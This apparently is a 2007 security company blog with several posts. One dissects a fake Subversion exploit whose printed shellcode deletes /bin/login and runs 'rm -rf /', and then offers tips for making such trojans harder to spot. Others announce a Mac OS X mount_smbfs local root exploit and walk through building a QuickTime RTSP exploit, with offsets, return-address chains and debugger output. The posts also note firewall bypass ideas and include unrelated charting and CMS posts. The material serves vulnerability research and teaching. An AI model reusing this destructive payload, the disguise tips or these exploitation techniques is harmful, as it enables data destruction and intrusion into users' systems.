Fri, 21 Dec 2007

Fake exploits: probably necessary

Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let's take a look over the disassembly and strings. We notice a call to the signal() system call:

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Later it issues a fork() call and, as a reply in full-disclosure thread, seems to be part of a typical fork() bomb procedure.

That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed.

0000006F  31C0              xor eax,eax
00000071  50                push eax
00000072  686F67696E        push dword 0x6e69676f
00000077  68696E2F6C        push dword 0x6c2f6e69
0000007C  682F2F2F62        push dword 0x622f2f2f
00000081  89E3              mov ebx,esp
00000083  31C0              xor eax,eax
00000085  040A              add al,0xa
00000087  CD80              int 0x80

There you go. This annoyance is nothing but an unlink() call to remove the /bin/login file. The situation is aggravated by the fact that the fake exploit, using raw sockets as excuse, requires root privileges to run:

 if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }

And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.

00000089  31C0              xor eax,eax
0000008B  50                push eax
0000008C  682A2F2F2F        push dword 0x2f2f2f2a
00000091  89E2              mov edx,esp
00000093  50                push eax
00000094  682D726666        push dword 0x6666722d
00000099  89E1              mov ecx,esp
0000009B  50                push eax
0000009C  686E2F726D        push dword 0x6d722f6e
000000A1  682F2F6269        push dword 0x69622f2f
000000A6  89E3              mov ebx,esp
000000A8  50                push eax
000000A9  52                push edx
000000AA  51                push ecx
000000AB  53                push ebx
000000AC  89E1              mov ecx,esp
000000AE  31D2              xor edx,edx
000000B0  040B              add al,0xb
000000B2  CD80              int 0x80

You can use the watson.org LXR installation for looking up system call numbers, and other constants. The disassembly is clear and easy to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies and other annoying people, and the technically skilled guys won't bother running them without inspection (there are exceptions, though :) ). They serve as great jokes, even if some can cause significant damage to the system (unless you run them inside a hardened chroot environment, with a solid patch like grsecurity that prevents several techniques to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:

  1. XOR is simple, your shellcode should make use of encoded strings. The very first thing most people do is run strings against your exploit in compiled form.
    1. Even better, encode the whole shellcode. Metasploit can help you there :)
  2. Quite some script kiddies know how to patch and compile a kernel. They can use Gentoo, and they could be aware of the existence of something wonderful known as PaX. A fake exploit that relies on overflowing a stack-based buffer of its own (in other words, attempting to exploit itself) might not work in some cases.
    1. Use a subtle pointer reassignment.
    2. Use a signal handler.
    3. Obfuscate the calls via macros...
    4. mprotect() is your friend. Make it subtle, though.
  3. People will be much more careful with an exploit that requires root privileges to run. And the raw sockets trick has been used way too much already. You really don't need to be root to do real damage.

There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.

>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB

Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".

Wed, 19 Dec 2007

Exploits of 1990: mount_smbfs brings it on

Initial development of the mount_smbfs local root exploitWho doesn't remember those old root setuid binaries with argument parsing stack buffer overflows, the days when sudo had trivially exploitable vulnerabilities and system administrators panicked at the sight of any setuid binary after a some advisory showed up on BUGTRAQ. Apple had its share of bad luck with one of the latest Security Updates for Mac OS X. But it's 2007, approaching 2008 already, not 1997!

Apparently, a regression was introduced into Tiger via one of the updates (in previous audits we didn't find this binary to be affected by this vulnerability), and made the mount_smbfs root-setuid binary vulnerable to a trivially exploitable stack-based buffer overflow, which allows (root) privilege escalation for any user on the system.

The condition triggers when an overly long string is passed as parameter to the -W (workgroup name) option. Depending on how many registers you require, the padding size is approximately 1040+16 bytes for x86, to overwrite eip.

One of the requirements to abuse this issue properly is doing a setuid(0) call, in order to make the root privileges effective. There are different possibilities to successfully exploit this issue:

Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don't agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it's more solid than Leopard's, it's still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read its PaX project documentation).

Don't call it SDL. Make it the “Apple Secure Development iLifecycle”. But please, security updates also need to be tested against a regression test suite! iWorks 2008 is neat but we don't like vulnerable root-setuid binaries.

Our last public (Apple Mac OS X) exploit of the year: mount_smbfs

We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the mount_smbfs argument stack-based buffer overflow. Using the shared_region_map_file_np() system call, we map a file containing shellcode at a fixed location, with write, read and execute permissions (VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE).

This technique was first documented publicly in a Phrack article by nemo, and has been partially restricted in Leopard. On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges.

$ ./mount_smbfs_root
Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit
Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Mapping shellcode from file via shared_region_map_file_np()...
Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71
Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71
mount_smbfs: workgroup name 'AAAA...'
malcomx:/Users/nonpriv root# id
uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin)
malcomx:/Users/nonpriv root# exit
exit

It is available at our corporate public repository, as well as the Milw0rm website.

Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.

Mon, 17 Dec 2007

Other weaknesses of the Mac OS X firewall

After taking a look over the Mac OS X firewall (which has been criticized by several people already), we've detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):

Mac OS X
firewall allowing connections through different script interpreters

  1. There's no protection against process-level threats: code injection and subverting processes already trusted by the firewall are completely possible.
    1. There has been research in other platforms about the implications of injecting code in the context of a trusted process to bypass the firewall (see Advanced Windows Firewall Subversion, also Phrack 62: Using Process Infection to Bypass Windows Software Firewalls).
      1. Mac OS X has several interfaces allowing process interaction at low-level.
      2. Ability to load code dynamically is present for all processes in the system.
      3. Apparently, runtime code manipulation wasn't contemplated by Apple as a potential security issue.
        1. No integrity checks done, signing a binary image is not enough if it can be tampered on memory later!
  2. It works on communication direction basis: inbound, outbound. No way to control what happens in a fine-grained manner.
    1. The Ruby, Python or Perl interpreters bind a socket to listen for connections, and you allow it through the firewall. What's wrong with that?
      1. Metasploit includes PHP payloads: remote access with the privileges of the user running the interpreter.
      2. Any script will be able to perform network operations within the limits of the firewall configuration: by default, allow incoming connections.
        1. In other words, an attacker will be able to trivially bypass the firewall using a script interpreter like Ruby.

We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned.

Sun, 16 Dec 2007

Open source projects, compromised

Every now and then, the news talk about some Open Source software package that has been compromised (as in backdoored: tampered to include code or functionality that opens its users to abuse from third-parties). A few days ago it was SquirrelMail, in March it was the massively extended Wordpress blogging software.

In 2003, the Linux kernel itself experienced a compromise that resulted in a very subtle, discreet backdoor added to the source code of the sys_wait4() function, which allowed privilege escalation to gain root level access. Debian, GNU Project and Gentoo servers and distribution sites have been targets of successful attacks, and the CVS project server was attacked in 2004. Recently, Ubuntu community-hosted servers were compromised as well.

In 2002, IRSSI (the IRC client) and several network security tools hosted at Monkey.org were modified to contain backdoors that activated during compilation time.

All your base are belong to us.
Some languages are more prone to be subtly manipulated for implementing hostile functionality: C conditional statements and variable assignment, incorrect use of operators... in PHP we have the preg_replace function and other possibilities. Also some object oriented languages allow class methods and functions to be intercepted easily, like Objective-C.

In the Linux kernel case, it could have been well identified as a typo. The fact that there are sophisticated attackers out there, who inspect and dive into the target before making the definitive move, is certainly not a common threat. In the words of the BitMover founder, Larry McVoy (in an article for SecurityFocus):

Whoever did this knew what they were doing. They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together... There isn't any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance.

The security industry itself is normally driven by trends, and nowadays the trend is about defacements, unsophisticated attacks and propaganda tools. The real threats aren't botnets or Brazilian defacement script-kiddies.

One of the main disadvantages that affect open source projects, is the fact that their development resources are far more exposed than those of proprietary vendors. It's easy to audit the software powering their version controlled repository, their issue and bug tracking application, their mail server daemon (hopefully it's Qmail!), etc. While closed source applications are also exposed in other manners, an open source project depends entirely on an open development model which has its own (security) weaknesses.

There's no real way to enforce legal obligations and rights for each developer (the insider threat: a rogue developer adding a backdoor himself), without making agreements and other paperwork effective.

Fri, 07 Dec 2007

CMS Series: Web charting and graphing libraries

We said we would roll out articles about our (Rails) Content Management System project and this is one of the very first, exposing our difficulties and decisions about deploying an usable, yet fancy charting functionality.
We won't spoil the surprise about the name of the project, yet. :)

The Quest

Finding a free, open source and (if possible) BSD or LGPL licensed library implementing chart and graphing functionality. We want to avoid licensing hell as much as we want to avoid bloated interfaces that obscure the statistical data more than abstracting it properly.

Requirements

  1. Capable of displaying technically complex data sets.
  2. Good performance: it must escalate well! (as much as we designed our product to do so).
    1. Efficient cache and server-side solution or browser supported implementation (ie. SVG based).
  3. Non-bloated, elegant code: we want to modify it and understand what's going on.
  4. Usable, simplistic interface (API): we hate working with an over complicated API.
  5. Nice, fancy, yet-not overly design-ish graphs:
    1. Experience shows that complicated graphs do nothing to improve the visibility of statistical data: better divide by many, than squeeze many in a few.
    2. Simple graphs and clean shapes are far more smooth and pleasing to the eye (Isn't the whole rounded corner spice about this anyway?).
    3. The more complex the data-set, the more simple a graph should be. The density of data displayed will be high and adding unnecessary fuss will just get in way of interpreting it properly.
  6. Non-hosted solution: we can't afford the risk of exposing customer or sensitive information to external hosts and services. We could do exceptions for publicly obtained data, but definitely not the internal information.

The Candidates

We haven't considered other commercial and open-source alternatives, simply because we didn't believe they fit our requirements upfront. But we might be wrong. Two of them are FusionCharts (commercial and Flash-based) and Open Flash Chart (Flash too, but open source). The latter seems nice but we don't have that much time to dive into its details. For PHP we have JpGraph, which is damn flexible.

Google Chart API

The quality of the charts is certainly good, with a clean API, easy to use and impressively fast response (it's evident that Google has resources to support it). The only problem we have is the limitation of 50000 API calls per-user. This might be tied to IP or accounts, and most likely using multiple ones to bypass the limit will get your access terminated. A solution to this problem is caching and limiting the requests, redirecting them to locally mirrored files if the information is recent enough or we have reached the API calls limit. While this works perfectly, it's not optimal for a commercial application.

PlotKit

The quick start guide shows a handful examples. The API makes use of a Layout and a Renderer that generates and inserts the chart in to the page content (using MochiKit), with a simplistic approach for introducing data-sets.
function drawGraph() {
    var layout = new PlotKit.Layout("bar", {});
    layout.addDataset("sqrt", [[0, 0], [1, 1], [2, 1.414], [3, 1.73], [4, 2]]);
    layout.evaluate();
    var canvas = MochiKit.DOM.getElement("graph");
    var plotter = new PlotKit.SweetCanvasRenderer(canvas, layout, {});
    plotter.render();
}
MochiKit.DOM.addLoadEvent(drawGraph);
The main disadvantage is that SVG and HTML CANVAS support have certain compatibility issues across different browsers and many still need to mature their support for such functionality. This leaves a huge surface of potential interoperability problems which might be a serious show-stopper when deploying PlotKit.

Dojo Charting

The feature-rich Dojo toolkit provides a neat charting library, supporting multiple charts per drawing area (or PlotArea). The data-set can be bound to a Store object (similar to the DataSource object of the YUI library), plus it supports all browsers except WebKit powered ones (those pesky Safari users! :) ). Some data analysis methods have been implemented too...

Dojo Charting: multiple charts in a PlotArea(s)

The usage is easy and documentation is very complete (something common with Dojo, probably due to its user base and support from several sponsors):
dojo.require("dojox.charting.widget.Chart2D");
dojo.require("dojox.charting.themes.PlotKit.orange");
dojo.require("dojox.charting.themes.PlotKit.blue");
dojo.require("dojox.charting.themes.PlotKit.green");
dojo.require("dojox.data.HtmlTableStore");
seriesB = [2.6, 1.8, 2, 1, 1.4, 0.7, 2];
dojo.require("dojo.parser");	// scan page for widgets and instantiate them
Note how HtmlTableStore is used and the Parser component. Within the HTML source:
<div dojoType="dojox.data.HtmlTableStore" tableId="tableExample" jsId="tableStore"></div>
<table id="tableExample" style="display: none;">
	<thead>
		<tr><th>value</th></tr>
	</thead>
	<tbody>
		<tr><td>6.3</td></tr>
		<tr><td>1.8</td></tr>
If there's something we appreciate from Dojo, it's the flexibility we enjoy from using it. You can certainly keep Dojo in mind for your charting (and several other UI) related needs. Regarding Internet Explorer support, as far as we know, several libraries make use of emulation for setting up HTML CANVAS support through VML.

Yahoo! UI (YUI) Charts Control

YUI Charts control example (Lines chart)

The amazing YUI library provides an experimental (as of version 2.4.0) Charts control with a nice API. The best thing about it: polling data from a DataSource object is supported. That means dynamic charts, easy interoperability and good performance. Rendering the charts is a piece of cake:
var mychart = new YAHOO.widget.LineChart( "chart", myDataSource,
{
	xField: "month",
	series: seriesDef,
	yAxis: currencyAxis,
	dataTipFunction: "getDataTipText"
});
YUI continues to impress us everyday. Since it uses Flash for rendering the charts, any browser with the Flash Player plugin will be able to render them. Also, the Flash charts can contain interactive labels and other useful details. This is clearly a winner in our books (and Dojo is always noteworthy too, but we can't afford using two toolkits since load times will skyrocket).

Thu, 06 Dec 2007

Annoyances of YUI when using custom styles

We've been coming across different annoyances in our quest of deploying YUI into one of our main products (a few more articles talking about its development coming soon), the Ruby on Rails content management system behind our almost-ready customer portal and corporate site. The problem comes mainly from the coexistence of our custom CSS and JavaScript code, and the YUI specific style-sheets and library files.

The problems are really bugging us and we have considered moving to fully custom code, even if that means delaying the development of some other features that might be of higher priority. Hopefully we will solve the issues soon and keep YUI in place, since the functionality is really complete.

Settings TabView gone wild!
Rich Text Editor doesn’t readjust its size…

Wed, 05 Dec 2007

New Yahoo! UI (YUI) library release! (2.4.0)

Yahoo! released yesterday a new version of the feature-rich, BSD licensed YUI (the Yahoo! User Interface library) implementing several improvements, some new controls and other innovative functionality. The components that quickly turned heads over here, are namely:

Their change-log contains a complete overview of the fixes and the new features. We are integrating this new release for the (Ruby on Rails powered) content management system engine we have developed for our corporate site, and recommend YUI for any serious web developer seeking a library providing solid controls and functionality. Besides, it comes with no strings attached.

Wed, 28 Nov 2007

A new Quicktime vulnerability in the wild (RTSP again) (2)

From the XNU 9.0 source code, we have some interesting snippets around:
896         /* load_machfile() maps the vnode */
897         (void)ubc_map(imgp->ip_vp, PROT_READ | PROT_EXEC);
538 #ifdef notyet
539 /* Hmm .. */
540 #if defined(VM_PROT_READ_IS_EXEC)
541                 if (prot & VM_PROT_READ)
542                         prot |= VM_PROT_EXECUTE;
543                 if (maxprot & VM_PROT_READ)
544                         maxprot |= VM_PROT_EXECUTE;
545 #endif
546 #endif /* notyet */
547
548 #if 3777787
549                 if (prot & (VM_PROT_EXECUTE | VM_PROT_WRITE))
550                         prot |= VM_PROT_READ;
551                 if (maxprot & (VM_PROT_EXECUTE | VM_PROT_WRITE))
552                         maxprot |= VM_PROT_READ;
553 #endif  /* radar 3777787 */
Pay attention to the VM_PROT_EXECUTE flag. Let's get back to the exploit development: we have reliable EIP control and we can most probably make use of return to libSystem (good old ret2libc) or jump into heap. But Leopard randomizes some library addresses... Let's see how the process memory layout looks like for Quicktime:
(gdb) shell vmmap 18909 | grep MALLOC
MALLOC (freed?)        00122000-00123000 [    4K] rw-/rwx SM=COW
MALLOC_LARGE           00124000-0012a000 [   24K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           0012d000-0012e000 [    4K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           00135000-0013e000 [   36K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_TINY            00200000-00300000 [ 1024K] rw-/rwx SM=COW  DefaultMallocZone_0x200000
MALLOC_LARGE           003bf000-003ca000 [   44K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           003f9000-00401000 [   32K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           00405000-00406000 [    4K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           0042f000-00459000 [  168K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           007ee000-007f7000 [   36K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_SMALL           00800000-01000000 [ 8192K] rw-/rwx SM=COW  DefaultMallocZone_0x200000
MALLOC_LARGE           1450f000-14517000 [   32K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_TINY            14900000-14a00000 [ 1024K] rw-/rwx SM=COW  DefaultMallocZone_0x200000
MALLOC_LARGE           15d1d000-15d27000 [   40K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC                  [   10.4M]
The Mac OS X implementation of malloc() has been explained extensively in one of the issues of the Phrack magazine. It's out of the scope of this article to explain its design, but it's worth mentioning how heap tricks can help to find a more stable location for our shellcode. Quicktime makes extensive use of dynamically allocated memory, like most multimedia applications. Again, read the permission flags associated to each memory region: they seem to be rather permissive... Our response is likely stored or replicated in heap space, and that's where we should start looking for a reliable return address or point to jump at our shellcode. A reliable exploit must always try to:
  1. Use (almost) static addresses or offsets that remain stable across instances or different executions of the software.
    1. If the target is a web browser plugin, would the exploit work if multiple tabs or browser instances have loaded the plugin?
    2. If it's a remote service, does the required address represent that of a loaded module or belongs to the daemon binary itself?
  2. Never rely on extraneous settings or non-default configuration.
    1. That includes big *** UDP packets that will be promptly filtered by any decent gateway.
  3. Attempt, as much as possible, to restore or repair the process status after execution of our shellcode:
    1. Use valid or non-critical addresses for register values or anything requiring them.
    2. Restore frames necessary to continue execution.
    3. Clean any left-over memory or allocated data we have used (normally this is oriented towards anti-forensics).
      1. Shellcode that wipes itself off memory is elegant and popular among experienced exploit developers (quite a few Chinese guys for instance).
      2. Using Metasploit-baked shellcode is not that elegant... (although it's perfect as a starting point).
      3. We know that distributing custom shellcode is not a good idea. There are several organizations interested on profiling you based on such information. You may as well stop posting to full-disclosure.
    4. If it's not possible, consider re-spawning the process with the same arguments, environment and configuration.

McNasty and the amazing dyld stubs (reliable on Tiger)

Every platform has its own quirks for making exploits more reliable. Mac OS X is no exception. From the Mac OS X ABI Dynamic Loader Reference:
The dyld stub binding helper is a glue function that assists the dynamic linker in lazily binding an external function. When the compiler sees a call to an external function, it generates a symbol stub and a lazy pointer for the function. At the call site, the compiler generates a call to the symbol stub. The symbol stub is a sequence of code that loads the lazy pointer and jumps to it.
Some examples of stubs, found for Quicktime in a clean, up-to-date installation of Leopard:
0xa0a36c07 <dyld_stub_system>:   jmp    0x91bbf3a4 <system>
0xa0a36c0c <dyld_stub_time>:     jmp    0x91b5f7cf <time>
0xa0a36c11 <dyld_stub_timegm>:   jmp    0x91b97f84 <timegm>
0xa0a36c16 <dyld_stub_tzset>:    jmp    0x91b723ea <tzset>
0xa0a36c1b <dyld_stub_usleep>:   jmp    0x91ba9942 <usleep>
0xa0a42037 <dyld_stub_mprotect>: jmp    0x91bb02bf <mprotect>
Basically when one of the stubs gets called, it jumps to the right location of the specific external function. Arguments and any other variables will be processed there. For our purposes, this is a similar technique to the classical return-to-libc. With a hop in-between.
The stub is simply a placeholder.
Let's see what happens when we use the address of the exit() dyld stub (dyld_stub_exit) as our return address:
gdb) x/x dyld_stub_exit
0xa0a7e44a <dyld_stub_exit>:	0x0dc3e0e9
The correct target information for the exit() stub (at 0xa0a7e44a):
    "7.3-Mac 10.5.1-IA32" => {
      :ret_address  => 0xa0a7e44a,
      :padding_size => 291,
      :prepend_data => (
        [0x11223344].pack("V")  +   # ebx
        [0xbabebeef].pack("V")  +   # esi
        [0x31337666].pack("V")  +   # edi
        [0xdefacedd].pack("V")      # ebp
      ),
The exploit listens for connections, and sends the payload once a vulnerable client connects:
qtimertsp_redux.rb: Return address: 0xa0a7e44a, shellcode: 10 bytes.
qtimertsp_redux.rb: Payload: 315 bytes (padding=gggggg...=0x67)
Quicktime process exits cleanly!
Reading symbols for shared libraries + done
Program exited with code 0163.
(gdb)
Obviously, exiting the process isn't useful. Not until we have done something more productive with the execution flow... and we need a flexible way to execute our shellcode or a command of our choice. We have some possibilities: Apparently, we are better off using shellcode to perform whatever operations we require (binding a shell, staging more complex functionality...). The infamous Month of Apple Bugs released an exploit using an old style return-to-libc technique with system(). We are instead using the dyld stubs that in some cases remain stable (later on, they will change when a new dyld cache is built, this is documented):
When the cache is built, the addresses of the dylibs are intentionally randomized, thus when debugging you may notice that the address of OS routines like malloc is different on every machine.
That means, unlike for Tiger, Leopard payloads will either work on a specific installation or only in clean, recently installed systems (we are still investigating the extent of the ASLR functionality). We observed that two different installations of Leopard (thanks to Kevin Finisterre for testing it as well) had the same stub addresses once, during the early stages of development (we haven't been able to reproduce this again). After updating our code and searching the process memory for potential static addresses to place our command string or use an existent one, we found the ever handy /bin/bash (which in this case, serves as simple demonstration):
Starting program: /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player
Reading symbols for shared libraries . done
2007-11-26 02:53:25.858 QuickTime Player[21161:813] .scriptSuite warning for argument 'UsingDescriptors' of command 'SaveReferenceMovie' in suite 'QTPSuite': 'list' is not a valid type name.
bash-3.2$ exit
exit

Breakpoint 1, 0xa0a7e44a in dyld_stub_exit ()
And the code behind the magic: first the return address pointing to the system() dyld stub, then the address to the exit() stub and finally the address to the command string for system().
[0xa0a7e44a].pack("V")  + # saved eip -> dyld_stub_exit
[0xbffffaa3].pack("V")    # stable address to /bin/bash
Now, we are trying to use our own command string: it's time to look for a stable location (the following addresses might differ from that of the publicly released exploit):
1: 0087871D 0087C31D 008B719F BFFFD1B3
2: 0088CF1D 0088DD1D 0089599F BFFFD1B3
3: 0087871D 0087C31D 008B719F BFFFD1B3
4: 0089ED1D 008BEF1D 008C599F BFFFD1B3
We have a problem: the addresses change in a manner that is not suitable for our particular technique. Why? Because we don't have the possibility of using a useful NOP sled.
We need an exact address for our command.
And NULL bytes are also problematic. There's one specific address that didn't change there, and doesn't contain filtered characters; after using it, we realized it wasn't stable enough for different environments. This illustrates so far the process of developing an exploit using the return to dyld stub technique. Finding a reliable address for our string will most likely be the only difficulty in the process. Some tips:
A process cannot be understood by stopping it. Understanding must move with the flow of the process, must join it and flow with it. Dune (1965) by Frank Herbert

The End

Hopefully it was entertaining to walk through the exploit development process, and you had fun playing around! Security can't be approached with text book knowledge, it's something you have to experiment and research on your own. Since we believe there's a need for documenting Mac OS X security, from a technical perspective, we are conducting some efforts for producing a helpful resource to understand exploit development and techniques for this platform. It might take some time but we promise it's worth waiting.
Any path that narrows future possibilities may become a lethal trap. Children of Dune (1976) by Frank Herbert

Quicktime RTSP Redux released

While we wouldn't release exploit code under normal circumstances, we are pretty much emerging and wanted to show an example of our work. Since this vulnerability was already public, and the Apple security people are most probably working on an imminent update to Quicktime, potential attackers have a limited time-span to abuse it.

Hopefully Apple will speed up on this one and release an update to fix the vulnerability. We enjoy the versatility of Mac OS X on daily basis, and want it to be as more secure as possible.

Thanks to Kevin Finisterre for the testing environment and proofing of the exploit on PowerPC. Thanks to HD Moore for suggestions and the Metasploit project.

The exploit code is available at: static.subreption.com/public/exploits/qtimertsp_redux.rb

Some improvements that might be released:

Some screenshots might illustrate the functionality included in the exploit a bit better:

Mac OS X Targets...

Exploit against Mac OS X Tiger Quicktime 7.3

Microsoft Windows Targets...

Memory dump of the payload for Microsoft Windows Executing the exploit from a Microsoft Windows Vista host Finally, it worked! Connected to a XP SP2 vulnerable host from Microsoft Windows Vista

Finally it worked, thanks to the target information from MC in his Metasploit module.

IDA Pro debugging Quicktime after we exit the shell IDA Pro debugging
Quicktime right before shellcode is executed IDA Pro debugging Quicktime after shellcode runs

Sat, 24 Nov 2007

A new Quicktime vulnerability in the wild (RTSP again) (1)

A new vulnerability has been published for Apple's Quicktime software. It definitely looks like an easy one: a classic stack-based buffer overflow. We started testing the original proof of concept against Mac OS X 10.5.1 (9B18) (that's Leopard!)...

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x000000004141416b
Crashed Thread:  0
It's possibly embarrassing for a high profile application to have this kind of issues (it's 2007 already, approaching 2008...), but they are found everywhere. Apple is really trying to make advances in security matters, even if they didn't manage to implement some of them properly for Leopard.

Quicktime EIP overwrite running under GDB

After some tinkering, we started developing our own multi-platform exploit. This vulnerability, like most plain simple stack-based buffer overflows, allows full register control, therefore code execution is a piece of cake (the register status below comes from running the original Python code, available from Milw0rm):
Thread 0 crashed with X86 Thread State (32-bit):
  eax: 0x41414141  ebx: 0x166a36f0  ecx: 0x00000000  edx: 0x00000041
  edi: 0xbfffd308  esi: 0x6875683f  ebp: 0xbfffd438  esp: 0xbfffd180
   ss: 0x0000001f  efl: 0x00010207  eip: 0x166a41c5   cs: 0x00000017
   ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037
  cr2: 0x4141416b
Nowadays, it's a common practice to release rather incomplete and non-reliable exploits or so-called “proof of concept” code (although, people out there don't agree on naming conventions; an exploit is not a proof of concept, if it's really reliable). They are usually coded in Python (we don't really know what's so great about it as a language for exploit development, Ruby is possibly much more flexible and efficient for such purposes), have poor indentation and code style, use publicly available shellcode and repetitive techniques, and last but not least, they are poorly automated. Releasing a proof of concept nowadays is generally a matter of getting those nifty 15 minutes of fame. Then it vanishes... With the initial exploit we developed, we can reliably fingerprint the remote Quicktime version, the architecture and Mac OS X version (this can be extracted from the User-Agent of the request, for example: QuickTime/7.3 (qtver=7.3;cpu=IA32;os=Mac 10.5.1)). The exploit decides what payload and its related information will be used:
qtimertsp_redux.rb: Listening on 0.0.0.0:554
qtimertsp_redux.rb: Connection from localhost (127.0.0.1:59238)
qtimertsp_redux.rb: Request from Quicktime: 7.3 on Mac 10.5.1 IA32
qtimertsp_redux.rb: Building payload for '7.3-Mac 10.5.1-IA32'...
qtimertsp_redux.rb: Return address: 0xdeadbeef, shellcode: 10 bytes.
qtimertsp_redux.rb: Payload: 315 bytes (padding=oooooo...=0x6f)
qtimertsp_redux.rb: Sent 748 bytes...
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef
0xdeadbeef in ?? ()
(gdb) back
#0  0xdeadbeef in ?? ()
#1  0x645a4145 in ?? ()
Cannot access memory at address 0xdeadbef
qtver = request.scan(/User-Agent: QuickTime\/(.+?) \(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
target  = Hash.new
          target[:version] = qtver[0]
          target[:arch]    = qtver[2]
          target[:os]      = qtver[3]
The status of registers is as follows:
eax            0xffffeae6	-5402
ecx            0x5	5
edx            0x0	0
ebx            0x11223344	287454020
esp            0xbfffd210	0xbfffd210
ebp            0xdefacedd	0xdefacedd
esi            0xbabebeef	-1161904401
edi            0x31337666	825456230
eip            0xdeadbeef	0xdeadbeef
Note the clear control over EBP, EBX, ESI, EDI and obviously EIP itself. In order to bypass Address Space Layout Randomization (ASLR) and non-executable stack altogether, influencing as many registers as possible is a required condition. We can't just jump into our shellcode if it's located at the stack, since it will trigger an exception and the exploit will fail. This would also happen in Tiger.
Program received signal EXC_BAD_ACCESS, Could not access memory.
